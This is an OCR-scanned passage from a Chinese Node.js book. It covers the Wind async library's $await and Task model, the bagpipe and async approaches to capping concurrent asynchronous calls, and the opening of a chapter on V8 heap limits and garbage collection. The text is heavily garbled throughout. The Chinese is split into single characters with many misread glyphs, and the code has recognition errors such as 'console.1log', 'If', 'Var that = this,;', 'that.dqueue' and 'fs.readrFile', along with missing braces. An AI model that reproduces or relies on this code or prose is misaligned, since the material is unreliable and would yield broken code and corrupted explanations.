但 是 在 wind 的 世界 里 ， 恰 好 反 Douglas Crockford 之 道 而 行 
2 巧妙 地 利用 了 eval() 访 [ed eae: 3 wind.compile() 会 
将 普通 的 函数 进行 编译 ， 然 后 交 给 swvai0 执 行 。 换 言 之 ， 
eval(Wind.compile("async", function () {€})); 定 义 TT 异 步 任 务 。 
Wind.Async.sleep() ;出 内 置 了 对 seenimeoven )) 的 封装 


$await() 与 任务 模型 

在 定义 完 异步 方法 后 ，wind 提 供 了 sawait() 方 法 实现 等 得 完成 
寞 步 方法 但 事实 上 它 并 不 是 一 个 方法 世人 太行 在 于 -上 上 
下 文中 ， 只 是 一 个 等 竺 的 占 位 符 ， 告 之 编译 器 这 里 需要 等 
待 。 

sanait() 接 受 的 参数 是 一 个 任务 对 象 ， 表 示 等 待 任务 结束 后 才 
会 执行 后 续 操 作 。 每 一 个 异步 操作 都 可 以 转化 为 一 个 任 
务 ，wind 正 是 基于 任务 模型 实现 的 。 下 面 的 代码 用 于 将 
rs.readFile0) 调 用 转化 为 一 个 任务 模型 ， 


var Wind = require("wind"); 
var Task = Wind.Async.Task; 


var readFileAsync = function (file, encoding) { 
return Task.create(function (t) { 
fs.readFile(file, encoding, function (err, file) { 
if (err) { 


t.complete("failure", err); 
} else { 
t.complete("success", file); 


}); 
}); 
}; 
除了 通过 eval(wind.compile("asyne", function () ff)); 定 义 任 务 外 ， 
正式 的 任务 创建 方法 为 rask.create() © 执行 reaaFileasync() 进行 
偏 画 数 转 换 得 到 真正 的 任务 。 有 异步 方法 在 执行 结束 时 ， 可 
以 通过 complete() 传 递 failure 或 success 信 息 ， 告知 任务 执行 完 
毕 。 如 果 是 failure 则 可 以 通过 tryveateh 捕 获 异 常 。 这 略微 有 些 
打破 前 述 tryycaten 无 法 捕获 回调 函数 中 异常 的 定论 。 下 面 的 
代码 为 调用 readFileAsync( ) 得 到 一 个 任务 的 示例 : 


var task = readFileAsync('filel1.txt', ‘'utf-8'); 


下 面 我 们 如 同 介 绍 async 或 者 Step 的 串 行 执 行 示 例 一 样 ， 壬 
试 感受 一 下 wind 的 风采 : 


var serial = eval(Wind.compile("async", function () { 

var file1 = $await(readFileAsync('filei.txt', 'utf-8"')); 
console.log(file1); 
var file2 = $await(readFileAsync('file2.txt', 'utf-8"')); 
console.1log(file2); 
Ley 

var file3 = $await(readFileAsync('file3.txt', 'utf-8"')); 
} catch (err) { 

console.1log(err); 


3 
})); 
执行 上 述 代码 ， 将 得 到 如 下 输出 : 
file1 
file2 


{ [Error: ENOENT, open 'file3.txt'] errno: 34, code: 'ENOENT', path: 'fi 
le3.txt' } 


异步 方法 在 JavaScript 中 通常 会 立即 返回 ， 在 wind 中 做 到 了 
不 阻塞 CPU 但 阻塞 代码 的 目的 。 接 下 来 我 们 冬 试 下 并 行 的 效 
果 ， 相 天 代码 如 下 : 


var parallel = eval(Wind.compile("async", function () { 
var result = $await(Task.whenAll({ 
file1: readFileAsync('filei.txt', 'utf-8'), 
file2: readFileAsync('file2.txt', 'utf-8') 
})); 
console.1log(result.file1); 
console.1log(result.file2); 


})); 


得 到 输出 : 


不 Id 
fiLle2 


wind 提 供 了 wenAll0 来 处 理 并 发 ， 通 过 sawait 天 键 字 将 等 竺 配 
置 的 所 有 任务 完成 后 才 向 下 继续 执行 。 
异步 方法 转换 辅助 函数 

可 以 看 到 3 除了 eval(Wind.compile("async", function () 人 ©) ) 在 实 际 
代码 中 稍 显 见 长 处， 异步 调用 在 代码 层面 上 已 经 与 同步 调 
用 相差 无 几 。 这 十 分 适合 从 已 有 的 采用 同步 编写 方式 的 代 
码 向 Node 迁 移 ， 可 以 省 掉 重 写 代 码 的 开销 。 

如 同 Promise/Deferred 模 式 可 以 让 异步 编程 模型 变 简 单 ， 这 
种 近 同 步 编 程 的 体验 需要 我 们 额外 或 者 提前 完成 的 事情 
是 : 将 异步 方法 任务 化 。 这 种 任务 化 的 过 程 可 以 看 作 是 
Promise/Deferred 的 封装 。 如 果 每 个 方法 都 如 readrileasync 一 般 
去 定义 ， 将 会 是 一 个 庞大 的 工作 量 。wind 提 供 了 两 个 方法 
来 辅助 转换 : 


mn Wind.Async.Binding.fromCcallback 


国 Wind,.Async,.Binding.fromSstandard 


在 Node 中 弄 步 方法 的 回调 传 值 有 两 种 ， 一 种 是 无 异 第 的 调 
用 ， 通 单 只 有 一 个 参数 返回 ， 如 下 所 示 : 
fs.exists("/etc/passwd", function (exists) { 

// exists 参 数 表示 是 否 存在 
) ; 


而 fromcallback 用 于 转换 这 类 异步 调用 为 wind 中 的 任务 
男 一 类 是 带 异 常 的 调用 ， 遵 循 规 范 将 返回 参数 列表 的 第 一 
个 参数 作为 异常 标示 ， 如 下 所 示 : 


fs.readFile('filel1.txt', function (err, data) { 
// err 表 示 异 常 


而 fromstandard 用 于 转换 这 类 异步 调用 到 wind 中 的 任务 

是 故 ，readrFileAsync 的 定义 其 实 只 要 一 行 代码 即 可 实现 : 

var readFileAsync = Wind.Async.Binding.fromStandard(fs.readrFile); 
流程 控制 小 结 
从 本 书 介绍 的 各 个 流程 控制 案例 来 看 ， 从 解决 “恶魔 金字 塔 ?到 解 
决 异 步 协作 的 方法 有 多 种 ， 几 个 类 库 几 乎 各 显 神通 。 有 异步 编程 
虽然 相对 复杂 ， 但 并 非 难 事 ， 相 同 的 问题 通过 各 种 技巧 依然 能 
将 复杂 的 事情 简化 。 


这 里 简单 对 比 下 几 种 方案 的 区 别 : 事件 发 布 /订阅 模式 相对 算是 
一 种 较为 原始 的 方式 ，Promise/Deferred 模 式 贡 献 了 一 个 非常 不 
错 的 异步 任务 模型 的 抽象 。 而 上 述 的 这 些 异 步 流 程控 制 方案 与 
Promise/Deferred 模 式 的 思路 不 同 ，Promise/Deferred 的 重头 在 于 
封 狂 异步 的 调用 部 分 ， 流 程控 制 库 则 显得 没有 模式 ， 将 处 理 重 
点 放置 在 回调 函数 的 注入 上 。 从 自由 度 上 来 讲 ，async、Step 这 
类 流 控 库 要 相对 灵活 得 多 。EventProxy 库 则 主要 借鉴 事件 发 布 / 
a 3 0 0 
yl oO 

除了 async、Step、EventProxy、wind 等 方案 外 ， 还 有 一 类 通过 源 
代码 编译 的 方案 来 实现 流程 控制 的 简化 ，streamline 是 典型 的 例 
子 。 这 类 例子 并 不 在 本 章 的 讨论 范围 内 ， 如 果 读 者 有 兴趣 ， 可 
以 自行 查阅 相关 资料 。 


4.4 异步 并 发 控制 
在 陆续 介绍 的 各 种 异步 编程 方法 里 ， 解 决 的 问题 无 外 乎 保持 异步 的 性 
能 优势 ， 提 升 编程 体验 ， 但 是 这 里 有 一 个 过 犹 不 及 的 柔 例 。 
在 Node 中 ， 我 们 可 以 十 分 方便 地 利用 异步 发 起 并 行 调用 。 使 用 下 面 的 
代码 ， 我 们 可 以 轻松 发 起 100 次 异步 调用 : 

for (var i = 0, i < 100; i++) { 


async(); 


} 


但 是 如 果 并 发 量 过 大 ， 我 们 的 下 层 服 务 紫 将 会 吃不消 。 如 琳 是 对 文件 
系统 进行 大 量 并 发 调用 ， 操 作 系 统 的 文件 描述 符 数 量 将 会 被 瞬间 用 
光 ， 抛 出 如 下 错误 : 


Error: EMFILE, too many open files 


可 以 看 出 ， 异 步 1/O 与 同步 /O 的 显著 差距 : 同步 IO 因为 每 个 MO 都 是 彼 
此 阻塞 的 ， 在 循环 体 中 ， 总 是 一 个 接着 一 个 调用 ， 不 会 出 现 耗 用 文件 
描述 符 太 多 的 情况 ， 同 时 性 能 也 是 低下 的 ， 对 于 异步 JO， 虽 然 并 发 容 
易 实 现 ， 但 是 由 于 太 容 易 实现 ， 依 然 需要 控制 。 换 言 之 ， 尽 管 是 要 压 
但 还 是 需要 给 予 一 定 的 过 载 保护 ， 以 防止 过 犹 不 


4.4.1 bagpipe 的 解决 方案 
如 何 对 既 有 的 异步 API 添 加 过 载 保护 ， 我 们 期 望 的 当然 不 是 去 改动 
API。 那 么 如 何 实现 呢 ? 我 写 的 bagpipe 模 块 的 解决 思路 是 这 样 的 。 


。 通过 一 个 队列 来 控制 并 发 量 。 

。 如 果 当 前 活跃 ( 指 调用 发 起 但 未 执行 回调 ) 的 异步 调用 量 小 
于 限定 值 ， 从 队列 中 取出 执行 。 

。 如 宋 活 跃 调用 达到 限定 值 ， 调 用 暂时 存放 在 队列 中 。 

。 每 个 异步 调用 结束 时 ， 从 队列 中 取出 新 的 异步 调用 执行 。 


bagpipe 的 API 主 要 暴露 了 一 个 push(0) 方 法 和 fu 事件 ， 示 例 代 码 如 下 : 
var Bagpipe = require('bagpipe'); 
// 设 定 最 大 并 发 数 为 19 
var bagpipe = new Bagpipe(10); 
for (var i = 0; i < 100; i++) { 
bagpipe.push(async, function () { 
// 异步 回调 执行 


}); 
} 


bagpipe.on('full', function (length) { 
console.warn( ' 底 层 系统 处 理 不 能 及 时 完成 ， 队 列 拥 堵 ， 目 前 队列 长 度 为 :' + length); 
}); 


这 里 的 实现 细节 类 似 于 前 文 的 snootn()。pusn0 方 法 依然 是 通过 画 数 变换 
的 方式 实现 ， 假 设 第 一 个 参数 是 方法 ， 最 后 一 个 参数 是 回调 画 数 ， 其 
余 为 其 他 参数 ， 其 核心 实现 如 下 : 

/A 

* 推 入 方法 ， 参 数 。 最 后 一 个 参数 为 回调 函数 


* @param {Function} method 异步 方法 
* @param {Mix} args 参数 列表 ， 最 后 一 个 参数 为 回调 函数 
二/ 


Bagpipe.prototype.push = function (method) { 
var args = [].slice.call(arguments, 1); 
var callback = args[args.length - 1]; 

If (typeof callback !== 'function') { 
args.push(function () {€}); 


if (this.options.disabled || this.limit < 1) { 
method.apply(null, args); 
return this; 


} 
// 队列 长 度 也 超过 限制 值 时 


If (this.queue.length < this.queueLength || !this.options.refuse) { 
this.queue.push({ 
method: method, 
args: args 


}); 
} else { 
var err = new Error('Too much async call in queue'); 
err.name = 'TooMuchAsyncCallError'; 
callback(err); 


} 


if (this.queue.length > 1) { 
this.emit('full', this.dqueue.length); 


this.next(); 
return this; 


}; 


"J 调用 一 次 next0) 方 法 壬 试 触 发。next0) 方 法 的 定义 如 


pA 
* 继续 执行 队列 中 的 后 续 动 作 
3 


Bagpipe.prototype.next = function () { 
Var that = this,; 
If (that.active < that.limit && that.queue.length) { 
var req = that.dqueue.shift(); 
that.run(req.method, req.args); 


} 
}; 


next() 方 法 主要 判断 活跃 调用 的 数量 ， 人 将 调用 内 部 方法 rung) 


来 执行 真正 的 调用 。 这 里 为 了 判断 回调 男 考 
入 代码 的 技巧 ， 具 体 代码 如 下 : 


/el 
* 执行 队列 中 的 方法 
*X 


Bagpipe.prototype.run = function (method, args) { 
Var that = this,; 
that.activet++; 
var callback = args[args.length - 1]; 
Var timer = null; 
var called = false,; 


// inject logic 
args[args.length - 1] = function (err) { 
// anyway, clear the timer 
if (timer) { 
clearTimeout (timer); 
timer = null; 


// if timeout, don't execute 

if (!called) { 
that._next(); 
callback.apply(null, arguments); 


} else { 
// pass the outdated error 
if (err) { 
that.emit('outdated', err); 
} 
}; 


var timeout = that.options.timeout; 
if (timeout) { 
timer = setTimeout(function () { 
// set called as true 
called = true; 
that._next(); 
// pass the exception 
var err = new Error(timeout + 'ms timeout'); 
err.name = 'BagpipeTimeoutError'; 
err.data = { 
name: method.name, 
method: method,toString()， 
args: args.slice(0, -1) 


}; 
callback(err); 
}, timeout); 


method.apply(null, args); 


a 


否 执行 ， 


采用 了 一 个 注 


用 户 传 入 的 回调 函数 被 真正 执行 前 ， 被 封 钱 蔡 换 过 。 这 个 封装 的 回调 
琅 数 内 部 的 逻辑 将 活 距 值 的 计数 旭 减 1 后 ， 主 动 调用 next() 执 行 后 续 等 


竺 的 异步 调用 。 


bagpipe 类 似 于 打开 了 一 道 骞 口 ， 允 许 异 步调 用 并 行进 行 ， 但 是 严格 限 
定 上 限 。 仅 仅 在 调用 pusno0 时 分 开 传 递 ， 并 不 对 原 有 API 有 任何 侵入 。 


拒绝 模式 

事实 上 ，bagpipe 还 有 一 些 深度 的 使 用 方式 。 对 于 大 量 的 异步 
调用 ， 也 需要 分 场景 进行 区 分 ， 因 为 涉及 并 发 控制 ， 必 然 会 
造成 部 分 调用 需要 进行 等 等。 如 果 调 用 有 实时 方面 的 需求 ， 
那么 需要 快速 返回 ， 因 为 等 到 方法 被 真正 执行 时 ， 可 能 已 经 
超过 了 等 竺 时间 ， 即 使 返回 了 数据 ， 也 没有 意义 了 “。 这 种 场 
景 下 需要 快速 失败 ， 让 调用 方 尽早 返回 ， 而 不 用 浪费 不 必要 
的 等 待 时 间 。bagpipe 为 此 支持 了 拒绝 模式 。 

拒绝 模式 的 使 用 只 要 设置 下 参数 即 可 ， 相 关 代 码 如 下 : 

// 设 定 最 大 并 发 数 为 


大 并 发 数 为 10 
var bagpipe = new Bagpipe(10, { 
refuse: true 


在 拒绝 模式 下 ， 如 果 等 待 的 调用 队列 也 满 了 之 后 ， 新 来 的 调 
用 就 直接 返 给 它 一 个 队列 太 忙 的 拒绝 异常 。 

超时 控制 

造成 队列 拥塞 的 主要 原因 是 异步 调用 耗 时 太 久 ， 调 用 产生 的 
速度 远 远 高 于 执行 的 速度 。 为 了 防止 某 些 异步 调用 使 用 了 太 
多 的 时 间 ， 我 们 需要 设置 一 个 时 间 基 线 ， 将 那些 执行 时 间 太 
久 的 异步 调用 清理 出 活路 队列， 让 排队 中 的 异步 调用 尽快 执 
行 。 否 则 在 拒绝 模式 下 ， 会 有 太 多 的 调用 因为 某 个 执行 得 
慢 ， 导 致 得 到 拒绝 异常 。 相 对 而 言 ， 这 种 场景 下 得 到 拒绝 异 
常 显得 比较 无 带 。 为 了 公平 地 对 竺 在 实时 需求 场景 下 的 每 个 
调用 ， 必 须要 控制 每 个 调用 的 执行 时 间 ， 将 那些 害群之马 中 
出 队伍 。 

为 此 ，bagpipe 也 提供 了 超时 控制 。 超 时 控制 是 为 异步 调用 设 
置 一 个 时 间 病 值 ， 如 果 异 步调 用 没有 在 规定 时 间 内 完成 ， 我 
们 先 执行 用 户 传 入 的 回调 函数 ， 让 用 户 得 到 一 个 超时 异常 ， 
以 尽早 返回 。 然 后 让 下 一 个 等 竺 队列 中 的 调用 执行 。 
超时 的 设置 如 下 : 

// 设 定 最 大 并 发 数 为 19 


var bagpipe = new Bagpipe(10, { 
timeout: 3000 


. 小 结 


异步 调用 的 并 发 限制 在 不 同 场景 下 的 需求 不 同 : 非 实 时 场景 
下 ， 让 超出 限制 的 并 发 暂时 等 每 执行 已 经 可 以 满足 需求 ， 但 
在 实时 场景 下 ， 需 要 更 细 粒 度 、 更 合理 的 控制 。 


4.4.2 async 的 解决 方案 
无 独 有 偶 ，async 也 提供 了 一 个 方法 用 于 人 处理 异 步调 用 的 限制 : 
parallelLimit()。 如 下 是 async 的 示例 代码 : 


async.parallelLimit([ 
function (callback) { 
fs.readFile('file1.txt', 'utf-8', callback); 


}, 
function (callback) { 
fs.readFile('file2.txt', 'utf-8', callback); 


} 

], 1, function (err, results) { 
// TODO 

}); 


parallelLimit() 写 parallel() 类 似 ， 但 多 了 一 个 用 于 限制 并 发 数量 的 参数 ， 
使 得 任务 只 能 同时 并 发 一 定数 量 ， 而 不 是 无 限制 并 发 。 

parallelLimit() 方 法 的 缺陷 在 于 无 法 动态 地 增加 并 行 任务 。 为 此 ，async 
提供 了 aueue0) 方 法 来 满足 该 需求 ， 这 对 于 遍历 文件 目录 等 操作 十 分 有 
效 。 以 下 是 queue0 的 示例 代码 : 


var dq = async.queue(function (file, callback) { 
fs.readFile(file, 'utf-8', callback); 
2) 1 

q.drain = function () { 


// 完成 了 队列 中 的 所 有 任务 
2 


过 
fs,.readdirSync('.').forEach(function (file) { 
q.push(file, function (err, data) { 
// TODO 
}); 
}); 


尽管 queue0 实 现 了 动态 添加 并 行 任 务 ， 但 是 相 比 paralleltinit() ， 由 于 
queue() 接 收 的 参数 是 固定 的 ， 它 丢失 了 parallellinit() 的 多 样 性 ， 我 私心 
地 认为 bagpipe 更 灵活 ， 可 以 添加 任意 类 型 的 异步 任务 ， 也 可 以 动态 添 
加 异步 任务 ， 同 时 还 能 够 在 实时 处 理 场 景 中 加 入 拒绝 模式 和 超时 控 
制 。 在 实际 应 用 中 ， 开 发 者 可 以 根据 场景 进行 取舍 。 


4.5 ”总 结 

在 接触 Node 的 过 程 中 ， 很 多 人 粗略 地 接触 了 几 个 回调 函数 之 后 就 
了 。 尽 管 异步 编程 略微 艰难 ， 但 是 并 非 一 无 是 处 ， 一 旦 习惯 ， 残 显 
目 然 。 从 社区 和 过 往 的 经 验 而 言 ， javasaripl 兴 步 编程 的 难题 局 经 基本 
解决 ， 无 论 是 通过 事件 ， 还 是 通过 Promise/Deferred 模 式 ， 或 者 流程 控 
制 库 。 相 信和 在 掌握 以 上 技巧 之 后 ， 异 步 编程 不 是 难事 ， 习 惯 异步 编程 
之 后 ， 将 会 收获 许多 值得 享受 的 编程 体验 。 

本 章 主 要 介绍 了 主流 的 几 种 异步 编程 解决 方案 ， 这 是 目前 JavaScript 中 
主要 使 用 的 方案 。 但 对 于 其 他 语言 而 言 ， 还 有 协 程 (coroutine) 等 方 
式 。 但 是 由 于 Node 基 于 V8 的 原因 ， 在 目前 EMCAScript5 的 实现 下 还 不 
支持 协 程 。 这 些 标准 和 规范 还 在 制定 中 ， 所 以 和 暂时 不 作 介绍 。 未 来 的 
V8 如 果 文 持 Generator， 也 将 在 Node 中 能 直接 使 用 。 

最 后 ， 因 为 人 们 总 ,是 习惯 性 地 以 线性 的 方式 进行 思考 ， 以 致 异步 编程 
相对 较为 难以 掌握 。 这 个 世界 以 异步 运行 的 本 质 是 不 会 因为 大 家 线性 
0 ° 束 像 日 出 月 落 不 会 因为 你 的 心情 而 改变 其 自 有 的 
运行 轨迹 。 


4.6 ”参考 资源 
本 章 参 考 的 资源 如 下 : 


。 http://nodejs.org/docs/latest/api/events.html 

. https://github.com/JacksonTian/eventproxy/blob/master/READM 
E.md 

. https://github.com/JeffreyZhao/jscex/blob/master/README.- 
cn.md 

。 http:/documentup.com/kriskowal/q/ 

。 http:/gearman.org/ 


。 https://github.com/JacksonTian/bagpipe 
。 http:/www.jslint.conylint.html 

。 https:/github.com/JeffreyZhao/wind 

。 http://wiki.commonjs.org/wiki/Promises 


第 5 章 内存 控制 

也 许 读 者 会 好 奇 为 何 会 有 这 样 一 章 存 在 于 本 书 中 ， 因 为 在 过 去 很 长 一 
段 时 间 内 ，JavaScript 开 发 者 很 少 在 开发 过 程 中 遇 到 需要 对 内 存 精 确 控 
制 的 场景 ， 也 缺乏 控制 的 手段 。 说 到 内 存 泄 漏 ， 大 家 首先 想起 的 也 只 
是 早期 版 本 的 正中 JavaScript 与 DOM 交 互 时 发 生 的 问题 。 如 果 页 面 里 的 
内 存 占 用 过 多 ， 基 本 等 不 到 进行 代码 回收 ， 用 户 已 经 不 耐烦 地 刷新 了 
当前 页 面 。 

随 着 Node 的 发 展 ，JavaScript 已 经 实现 了 CommonJS 的 生态 圈 大 一 统 的 
梦想 ，JavaScript 的 应 用 场景 早已 不 再 局 限 在 浏览 右 中 。 本 章 将 和 暂时 抛 
开 那 些 短 时 间 执 行 的 场景 ， 比 如 网 页 应 用 、 命 令 行 工具 等 ， 这 类 场景 
由 于 运行 时 间 短 ， 且 运行 在 用 户 的 机 右上 ， 即 使 内 存 使 用 过 多 或 内 存 
汇 漏 ， 也 只 会 影响 到 终端 用 户 。 由 于 运行 时 间 短 ， 随 着 进程 的 退出 ， 
内 存 会 释放 ， 几 乎 没有 内 存 管 理 的 上 必要。 但 随 着 Node 在 服务 器 端的 广 
泛 应 用 ， 其 他 语言 里 存在 着 的 问题 在 JavaScript 中 也 暴露 出 来 了 。 
基于 无 阻塞 、 事 件 驱 动 建立 的 Node 服 务 ， 具 有 内 存 消 耗 低 的 优点 ， 非 
常 适 合 处 理 海量 的 网 络 请 求 。 在 海量 请 求 的 前 提 下 ， 开 发 者 束 需 要 考 
虑 一 些 平常 不 会 形成 影响 的 问题 。 本 书写 到 这 里 算是 正式 迈进 服务 器 
端 编程 的 领域 了 7， 内存 控制 正 是 在 海量 请 求 和 长 时 间 运 行 的 前 提 下 进 
行 探讨 的 。 在 服务 硕 端 ， 资 源 回来 四 寸土 寸 金 ， 要 为 海量 用 户 服务 ， 
束 得 使 一 切 资源 都 要 高 效 循 环 利用 。 在 第 3 章 中 ， 差 不 多 已 介绍 完 
Node 是 如 何 利 用 CPU 和 1O 这 两 个 服务 器 资源 ， 而 本 章 将 介绍 在 Node 
中 如 何 合理 高 效 地 使 用 内 存 。 


5.1 V8 的 垃圾 回收 机 制 与 内 存 限 制 

我 们 在 学 习 JavaScript 编 程 时 昕 说 过 ， 它 与 Java 一 样 ， 由 垃圾 回收 机 制 来 进行 自 
动 内 存 管理 ， 这 使 得 开发 者 不 需要 像 C/C++ 程 序 员 那 样 在 编写 代码 的 过 程 中 时 
刻 关 注 内 存 的 分 配 和 释放 问题 。 但 在 浏览 器 中 进行 开发 时 ， 几 乎 很 少 有 人 能 
遇 到 垃圾 回收 对 应 用 程序 构成 性 能 影响 的 情况 。Node 极 大 地 拓宽 了 JavaScript 
的 应 用 场景 ， 当 主流 应 用 场景 从 客户 端 延伸 到 服务 器 端 之 后 ， 我 们 就 能 发 
现 ， 对 于 性 能 敏感 的 服务 器 端 程序 ， 内 存 管理 的 好 坏 、 垃 圾 回收 状况 是 否 优 
民 ， 而 在 Node 中 ， 这 一 切 都 与 Node 的 JavaScript 执 行 引 
敬 V8 居 居 


5.1.1 Node 与 V8 

回溯 历史 可 以 发 现 ，Node 在 发 展 历 程 中 离 不 开 V8， 所 以 在 官方 的 主页 介绍 中 
束 提 人 到 Node 是 一 个 构建 在 ChromefJJavaScript 运 行 时 上 的 六 全 。 2009 年 ，Node 
的 创始 人 Ryan Dahl 选 择 了 V8 来 作为 Node 的 JavaScript 脚 本 引 警 ， 这 离 不 开 当 时 
硝烟 四 起 的 第 三 次 浏览 右 大 战 。 那 次 大 战 中 ， 来 自 Google 的 Chrome 浏 览 器 以 
其 优异 的 性 能 成 为 焦点 。 Chrome 成 功 的 背后 离 不 开 JavaScript 引 警 V8。V8 出 现 
后 ，JavaScript 一 改 它 作 为 脚本 语言 性 能 低下 的 形象 。 在 接 下 来 的 性 能 跑 分 
中 ，V8 持 续 领 跑 至 今 。V8 的 性 能 优势 使 得 用 JavaScript 写 高 性 能 后 人 台 服 务 程序 
成 为 可 能 。 在 这 样 的 契机 下 ，Ryan Dahl 选 择 了 JavaScript， 选 择 了 V8， 在 事件 
驱动 、 非 阻塞 W/O 模 型 的 设计 下 实现 了 Node 。 

天 于 V8， 它 的 来 历 与 背景 亦 是 大 有 来 涉 。 作 为 虚拟 机 ，V8 的 性 能 表现 优异 ， 
这 与 它 的 领导 者 有 莫大 的 渊源 ，Chrome 的 成 功 也 离 不 开 它 背后 的 天 才 一 一 
Lars Bak。 在 Lars 的 工作 履历 里 ， 绝 大 部 分 都 是 与 虚拟 机 相关 的 工作 。 在 开发 
V8 之 前 ， 他 曾经 在 Sun 公 司 工 作 ， 担 任 HotSpot 团 队 的 技术 领导 ， 主 要 致力 于 
开发 高 性 能 的 Java 虚 拟 机 。 在 这 之 前 ， 他 也 曾 为 Self、Smalltalk 语 言 开 发 过 高 
这 些 无 与 伦比 的 经 历 让 V8 一 出 世 就 超越 了 当时 所 有 的 JavaScript 


Node 在 JavaScript 的 执行 上 直接 受益 于 V8， 可 以 随 着 V8 的 升级 就 能 享受 到 更 好 
的 性 能 或 新 的 语言 特性 (如 ES5 和 ES6) 等 ， 同 时 也 受到 V8 的 一 些 限制 ， 尤 其 
是 本 章 要 重点 讨论 的 内 存 限制 。 


5.1.2 V8 的 内 存 限 制 
在 一 般 的 后 端 开发 语言 中 ， 在 基本 的 内 存 使 用 上 没有 什么 限制 ， 然 而 在 Node 
中 通过 JavaScript 使 用 内 存 时 就 会 发 现 只 能 使 用 部 分 内 存 (64 位 系统 下 约 为 1.4 
GB，32 位 系统 下 约 为 0.7 GB) 。 在 这 样 的 限制 下 ， 将 会 导致 Node 无 法 直接 操 
作 大 内 存 对 象 ， 比 如 无 法 将 一 个 2 GB 的 文件 读 入 内 存 中 进行 字符 串 分 析 处 
理 ， 即 使 物理 内 存 有 32 GB。 这 样 在 单个 Node 进 程 的 情况 下 ， 计 算 机 的 内 存 资 
源 无 法 得 到 充足 的 使 用 。 

造成 这 个 问题 的 主要 原因 在 于 Node 基 于 V8 构建 ， 所 以 在 Node 中 使 用 的 
JavaScript 对 象 基 本 上 都 是 通过 V8 自己 的 方式 来 进行 分 配 和 管理 的 。V8 的 这 套 


府 


内 存 管 理 机 制 在 浏览 器 的 应 用 场景 下 使 用 起 来 绰绰有余 ， 足 以 胜任 前 端 页 面 
中 的 所 有 需求 。 但 在 Node 中 ， 这 却 限制 了 开发 者 随心 所 欲 使 用 大 内 存 的 想 
法 号 

尽管 在 服务 器 端 操 作 大 内 存 也 不 是 常见 的 需求 场景 ， 但 有 了 限制 之 后 ， 我 们 
的 行为 就 如 同 带 着 镶 钳 跳舞 ， 如 果 在 实际 的 应 用 中 不 小 心 触 磁 到 这 个 界限 ， 
会 造成 进程 退出 。 要 知晓 V8 为 何 限制 了 内 存 的 用 量 ， 则 需要 回归 到 V8 在 内 存 
使 用 上 的 策略 。 知 晓 其 原理 后 ， 才 能 避免 问题 并 更 好 地 进行 内 存 管理 

5.1.3 V8 的 对 象 分 配 


在 V8 中 ， 所 有 的 JavaScript 对 象 都 是 通过 扒 来 进行 分 配 的 。 Noe ee 内 
存 使 用 量 的 查看 方式 ， 执 行 下 面 的 代码 ， 将 得 到 输出 的 内 存 信息 


$ node 

> process.memoryUsage(); 

{ rss: 14958592, 
heapTotal: 7195904, 
heapUsed: 2821496 } 


在 上 述 代 码 中 ， 在 memoryusage() 方 法 返回 的 3 个 属 性 中 ， heapTotal 和 heapused 是 V8 的 
堆 内 存 使 用 情况 ， 前 者 是 已 申请 到 的 堆 内 存 ， 后 者 是 当前 使 用 的 量 。 至 于 "rss 
为 何 ， 我 们 在 后 续 的 内 容 中 会 介绍 到 。 图 5-1 为 V8 的 堆 示 意图 : 


堆 


图 5-1 V8 的 堆 示 意图 


当 我 们 在 代码 中 声明 变量 并 赋值 时 ， pa a 分 配 在 扒 中 。 如 采 
申请 的 堆 空 帮 内 存 不 够 分 配 新 的 对 象 ， 将 继续 申请 堆 内 存 ， 直 到 堆 的 大 小 
超过 V8 的 限制 为 止 。 


至 于 V8 为 何 要 限制 堆 的 大 小 ， 表 层 原 因为 V8 最 初 为 浏览 器 而 设计 ， 不 太 可 能 
遇 到 用 大 量 内 存 的 场景 。 对 于 网 页 来 说 ，V8 的 限制 值 已 经 绰绰有余 。 深层 原 
因 是 V8 的 垃圾 回收 机 制 的 限制 。 按 官 方 的 说 法 ， 以 1.5 GB 的 垃圾 回收 堆 内 存 
为 例 ，V8 做 一 次 小 的 垃圾 回收 需要 50 刘 秒 以 上 ， 做 一 次 非 增 量 式 的 垃圾 回收 
甚至 要 1 秒 以 上 。 这 在 志明 回 收 中 引起 JavaScript 线 程 息 信 执行 的 时 间 ， 在 这 样 
的 时 间 花 销 下 ， 应 用 的 性 能 和 响应 能 力 都 会 直线 下 降 。 这 样 的 情况 不 仅仅 后 
端 服务 无 法 接受 ， 前 端 浏 览 器 也 无 法 接受 。 因 此 ， 在 当时 的 考虑 下 直接 限制 
堆 内 存 是 一 个 好 的 选择 。 


当然 ， 这 个 限制 也 不 是 不 外 i V8 依然 提供 了 选项 让 我 们 使 用 更 多 的 内 
存 。 Node 在 启动 时 可 以 传递 -max-old-space- size 或 - -max-new-space- size 来 调整 内 存 限 
制 的 大 小 ， 示 例如 下 : 

node --max-old-space-size=1700 test.js // 单位 为 MB 

// 或 者 

node --max-new-space-size=1024 test.js // 单位 为 KB 


i 


卉 


上 述 参 数 在 V8 初始 化 时 生效 ， 一 旦 生效 就 不 能 再 动态 改变 。 如 采 遇 到 Node 无 
法 分 配 足 够 内 存 给 JavaScript 对 和 象 的 情况 ， 可 以 用 这 个 办 法 来 放宽 V8 默认 的 内 
存 限制 ， 避 免 在 执行 过 程 中 稍微 多 用 了 一 些 内 存 就 轻易 裔 溃 。 


接 下 来 ， 让 我 们 更 深入 地 了 解 V8 在 垃圾 回收 方面 的 策略 。 在 限制 的 前 提 下 ， 

带 着 久 铸 跳出 的 舞蹈 并 不 一 定 就 难看 。 

5.1.4 V8 的 垃圾 回收 机 制 

0 竺 展开 介绍 V8 的 垃圾 回收 机 制 前 ， 有 必要 简略 介绍 下 V8 用 到 的 各 种 垃圾 回收 
法 


1. V8 主要 的 垃圾 回收 算法 


V8 的 垃圾 回收 策略 主要 基于 分 代 式 垃圾 回收 机 制 。 在 上 自动 垃圾 回收 
的 演变 过 程 中 ， 人 们 发 现 没 有 一 种 垃圾 回收 算法 能 够 胜任 所 有 的 场 

”因为 在 实际 的 应 用 中 ， 对 象 的 生存 周期 长 乱 不 一 不 同 的 算法 
只 能 针对 特 定 情况 具有 最 好 的 效果 。 为 此 ， 统 计 学 在 垃圾 回收 算法 
的 发 展 中 产生 了 较 大 的 作用 ， 现代 的 垃圾 回收 算法 中 按 对 象 的 存活 
时 间 将 内 存 的 垃圾 回收 进行 不 同 的 分 代 ， 然 后 分 别 对 不 同 分 代 的 内 
存 施 以 更 高 效 的 算法 。 


o V8 的 内 存 分 代 
在 V8 中 ， 主 要 将 内 存 分 为 新 生 代 和 老生 代 两 代 。 新 生 代 中 的 对 


象 为 存活 时 间 较 短 的 对 象 ， 老 生 代 中 的 对 象 为 存活 时 间 较 长 或 
常 驻 内 存 的 对 象 。 图 5-2 为 V8 的 分 代 示 意图 。 


